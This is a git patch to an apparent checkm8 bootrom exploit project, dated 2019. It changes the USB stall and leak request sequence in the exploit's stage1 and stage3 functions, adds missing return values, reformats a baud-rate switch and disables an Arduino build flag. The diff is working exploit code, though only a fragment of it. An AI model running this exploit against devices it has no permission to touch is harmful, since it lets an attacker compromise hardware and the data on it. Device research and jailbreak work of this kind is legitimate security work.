From 4d7acad06561e4b3110900051c8e580a778c4394 Mon Sep 17 00:00:00 2001 From: Gregor Haas Date: Mon, 30 Dec 2019 16:53:29 -0500 Subject: [PATCH] Not sure how but this works so much better?? --- checkm8_remote/src/command.c | 2 ++ checkm8_remote/src/exploit.c | 10 +++++----- checkm8_remote/src/usb_helpers.c | 22 +++++++++++++++------- include/checkm8_config.h | 3 +-- 4 files changed, 23 insertions(+), 14 deletions(-) diff --git a/checkm8_remote/src/command.c b/checkm8_remote/src/command.c index 03870c3..d6eef56 100644 --- a/checkm8_remote/src/command.c +++ b/checkm8_remote/src/command.c @@ -34,6 +34,8 @@ int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len) } index += amount; } + + return CHECKM8_SUCCESS; } static unsigned char nullbuf[16] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; diff --git a/checkm8_remote/src/exploit.c b/checkm8_remote/src/exploit.c index c75769a..37db4b7 100644 --- a/checkm8_remote/src/exploit.c +++ b/checkm8_remote/src/exploit.c @@ -121,9 +121,8 @@ int stage1_function(struct pwned_device *dev) unsigned int i; stall(dev); - for(i = 0; i < 5; i++) no_leak(dev); - usb_req_leak(dev); - no_leak(dev); + leak(dev); + for(i = 0; i < 6; i++) no_leak(dev); reset(dev); return CHECKM8_SUCCESS; @@ -166,8 +165,9 @@ int stage3_function(struct pwned_device *dev) fread(payload_buf, pl_len, 1, payload_file); fclose(payload_file); - usb_req_stall(dev); - usb_req_leak(dev); + stall(dev); + leak(dev); + leak(dev); checkm8_debug_indent("\ttransferring overwrite (%i bytes)\n", ow_len); while(index < ow_len) diff --git a/checkm8_remote/src/usb_helpers.c b/checkm8_remote/src/usb_helpers.c index 03d8797..9fe4e2d 100644 --- a/checkm8_remote/src/usb_helpers.c +++ b/checkm8_remote/src/usb_helpers.c @@ -43,25 +43,32 @@ int open_device_session(struct pwned_device *dev) switch(ARDUINO_BAUD) { case 4800: - brate = B4800; break; + brate = B4800; + break; case 9600: - brate = B9600; break; + brate = B9600; + break; case 19200: - brate = B19200; break; + brate = B19200; + break; case 38400: - brate = B38400; break; + brate = B38400; + break; case 57600: - brate = B57600; break; + brate = B57600; + break; case 115200: - brate = B115200; break; + brate = B115200; + break; default: - brate = B9600; break; + brate = B9600; + break; } cfsetispeed(&toptions, brate); @@ -612,5 +619,6 @@ int serial_descriptor(struct pwned_device *dev, unsigned char *serial_buf, int l struct libusb_device_descriptor *desc = dev->bundle->descriptor; libusb_get_string_descriptor_ascii(handle, desc->iSerialNumber, serial_buf, len); + return CHECKM8_SUCCESS; #endif } \ No newline at end of file diff --git a/include/checkm8_config.h b/include/checkm8_config.h index d5c0e3a..1cb13ca 100644 --- a/include/checkm8_config.h +++ b/include/checkm8_config.h @@ -3,9 +3,8 @@ //#define LIBUSB_LOGGING #define CHECKM8_LOGGING -#define ARDUINO_LOGGING -#define WITH_ARDUINO +//#define WITH_ARDUINO #define ARDUINO_DEV "/dev/ttyACM0" #define ARDUINO_BAUD 115200